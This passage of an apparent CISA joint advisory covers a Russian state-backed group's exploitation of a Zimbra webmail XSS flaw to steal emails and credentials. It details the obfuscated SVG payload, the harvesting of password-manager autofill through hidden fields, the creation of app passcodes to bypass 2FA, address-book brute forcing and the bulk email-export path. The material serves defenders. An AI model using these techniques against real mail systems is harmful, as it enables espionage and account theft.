<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
